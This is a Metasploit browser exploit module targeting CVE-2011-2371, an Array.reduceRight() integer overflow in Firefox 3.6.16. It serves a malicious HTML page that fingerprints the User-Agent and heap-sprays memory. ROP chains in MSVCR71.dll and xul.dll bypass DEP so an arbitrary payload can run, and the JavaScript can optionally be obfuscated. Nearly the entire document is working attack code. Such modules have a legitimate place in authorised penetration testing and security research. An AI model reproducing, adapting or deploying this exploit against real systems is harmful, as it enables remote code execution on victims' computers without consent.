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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Mozilla Firefox Array.reduceRight() Integer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
array object is configured with a large length value, the reduceRight() method
may cause an invalid index being used, allowing arbitrary remote code execution.
Please note that the exploit requires a longer amount of time (compare to a
typical browser exploit) in order to gain control of the machine.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Rohlf', #Matasano Security (Initial discovery according to Mozilla.org)
'Yan Ivnitskiy', #Matasano Security (Initial discovery with Chris?)
'Matteo Memelli', #PoC from Exploit-DB
'dookie2000ca', #"Helping" ryujin (Matteo)
'sinn3r', #Metasploit
'mr_me <steventhomasseeley[at]gmail.com>', #XP target (no aslr)
'TecR0c <roccogiovannicalvi[at]gmail.com>', #XP target (no aslr)
],
'References' =>
[
['CVE', '2011-2371'],
['OSVDB', '73184'],
['EDB', '17974'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
],
'Payload' =>
{
'BadChars' => "\x00",
'PrependEncoder' => "\xbc\x0c\x0c\x0c\x0c",
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
[
# if we dont have aslr, lets not deal with it
# Windows XP (no JAVA)
'Mozilla Firefox 3.6.16 (no JAVA)',
{
'pivot' => 0x104C26F0, # 1st pivot [push esi;pop esp;and [esi+44],0;xor eax,eax;pop esi;retn 4]
'pivot2' => 0x10055326, # 2nd pivot [add esp,40;ret]
}
],
[
#Vista / win 7 (using JAVA) to defeat aslr
'Mozilla Firefox 3.6.16 (JAVA)',
{
'pivot' => 0x7c370eef, # 1st pivot [lea esp,[esi-3];dec [ebx];ret 1C75]
'pivot2' => 0xcafebabe, # fake
}
],
],
'Privileged' => false,
'DisclosureDate' => "Jun 21 2011",
'DefaultTarget' => 0
))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
])
end
def junk(n=4)
return rand_text_alpha(n).unpack("L")[0].to_i
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent !~ /Firefox\/3\.6\.(16|17)/
print_error("This browser is not supported: #{agent}")
send_not_found(cli)
return
end
my_target = target
if my_target.name == 'Automatic'
if agent =~ /NT 5\.1/ && agent =~ /Firefox\/3\.6\.16/
my_target = targets[1]
elsif agent =~ /NT 6\.[01]/ && agent =~ /Firefox\/3\.6\.16/
my_target = targets[2]
else
print_error("This browser is not a viable target: #{agent}")
send_not_found(cli)
return
end
end
table = [junk(2)].pack('v*')
table << [
0x0c000048,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
].pack('V*')
table << [junk(2)].pack('v*')
table << [
my_target['pivot'],
junk,
].pack('V*')
table << [junk(2)].pack('v*')
table << [
0x3410240c,
0x0c00007c,
my_target['pivot2'],
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
0x0c00002e,
].pack('V*')
# random
js_applet = rand_text_alpha(rand(10) + 5)
a_trigger = rand_text_alpha(rand(10) + 5)
randnop = rand_text_alpha(rand(100) + 1)
js_nops = Rex::Text.to_unescape("\x0c"*4)
if my_target.name =~ /\(JAVA\)/
#mona.py tekniq! + Payload
rop = [
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # Make EAX readable
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
0x7c348b06, # EBP (NOP)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # <- VirtualProtect() found in IAT
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
0x7c346c0b, # Slide, so next gadget would write to correct stack location
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
0x7c348b06, # EDI (filler)
0x7c348b06, # will be patched at runtime (VP), then picked up into ESI
0x7c348b06, # EBX (filler)
0x7c376402, # POP EBP # RETN (msvcr71.dll)
0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0xfffff82f, # size 20001 bytes
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
0x7c354901, # POP EBX # RETN (MSVCR71.dll)
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
0x7c34b8d8, # ROP NOP (-> edi)
0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x90909090, # NOPS (-> eax)
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
].pack('V*')
p = payload.encoded
arch = Rex::Arch.endian(target.arch)
js_payload = Rex::Text.to_unescape(rop + p, arch)
js_ptrs = Rex::Text.to_unescape(table, arch)
#Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
js = <<-JS
var applet = document.getElementById('#{js_applet}');
function spray() {
var ptrs = unescape("#{js_ptrs}");
var bheader = 0x12/2;
var nullt = 0x2/2;
var espoffset = (7340 /2) - ptrs.length;
var #{randnop} = "#{js_nops}";
var esppadding = unescape(#{randnop});
while(esppadding.length < espoffset) esppadding += esppadding;
esppadding = esppadding.substring(0, espoffset);
var payload = unescape("#{js_payload}");
var tr_padding = unescape(#{randnop});
while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}
var dummy = ptrs + esppadding + payload + tr_padding;
var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);
HeapBlocks = new Array()
for (i=0;i<0x60;i++){
HeapBlocks[i] += hspray;
}
}
spray();
obj = new Array;
obj.length = 2197815302;
f = function trigger(prev, myobj, indx, array) {
alert(myobj[0]);
}
obj.reduceRight(f,1,2,3);
JS
js = js.gsub(/^ {4}/, '')
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate(memory_sensitive: true)
end
html = <<-HTML
<html>
<head>
</head>
<body>
<applet id="#{js_applet}" code="#{a_trigger}.class" width=0 height=0>
</applet>
<script>
#{js}
</script>
</body>
<html>
HTML
elsif my_target.name =~ /\(no JAVA\)/
# DEP bypass using xul.dll
rop =
[
junk,
junk,
junk,
junk,
junk,
0x101f1806, # POP EAX # RETN [xul.dll]
0x1083828C, # ptr to &VirtualAlloc() [IAT xul.dll]
0x103e0d7b, # MOV ESI,DWORD PTR DS:[EAX] # RETN [xul.dll]
0x102d8002, # POP EBP # RETN [xul.dll]
0x1003876b, # & jmp esp [xul.dll]
0x10040001, # POP EBX # RETN [xul.dll]
0x00000001, # 0x00000001-> ebx
0x104e6917, # POP EDX # RETN [xul.dll]
0x00001000, # 0x00001000-> edx
0x102ac000, # POP ECX # RETN [xul.dll]
0x00000040, # 0x00000040-> ecx
0x102e0005, # POP EDI # RETN [xul.dll]
0x102ac001, # RETN (ROP NOP) [xul.dll]
0x101f1806, # POP EAX # RETN [xul.dll]
0x90909090, # nop
0x102b3401, # PUSHAD # RETN [xul.dll]
].pack("V*")
p = payload.encoded
arch = Rex::Arch.endian(target.arch)
js_payload = Rex::Text.to_unescape(rop + p, arch)
js_ptrs = Rex::Text.to_unescape(table, arch)
# java loading forces the alloctor to use more blocks, since we
# dont load java we will just spray a little more..
js = <<-JS
var myobject = document.getElementById('d');
function spray() {
var ptrs = unescape("#{js_ptrs}");
var bheader = 0x12/2;
var nullt = 0x2/2;
var payload = unescape("#{js_payload}");
var #{randnop} = "#{js_nops}";
var tr_padding = unescape(#{randnop});
while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}
var dummy = ptrs + payload + tr_padding;
var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);
HeapBlocks = new Array()
for (i=0;i<0x100;i++){
HeapBlocks[i] += hspray;
}
}
spray();
obj = new Array;
obj.length = 2197815302;
f = function trigger(prev, myobj, indx, array) {
alert(myobj[0]);
}
obj.reduceRight(f,1,2,3);
JS
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate(memory_sensitive: true)
end
js = js.gsub(/^ {4}/, '')
html = <<-HTML
<html>
<head>
</head>
<body>
<object id="d"><object>
<script>
#{js}
</script>
</body>
<html>
HTML
end
html = html.gsub(/^ {4}/, '')
print_status("Sending #{self.name}")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end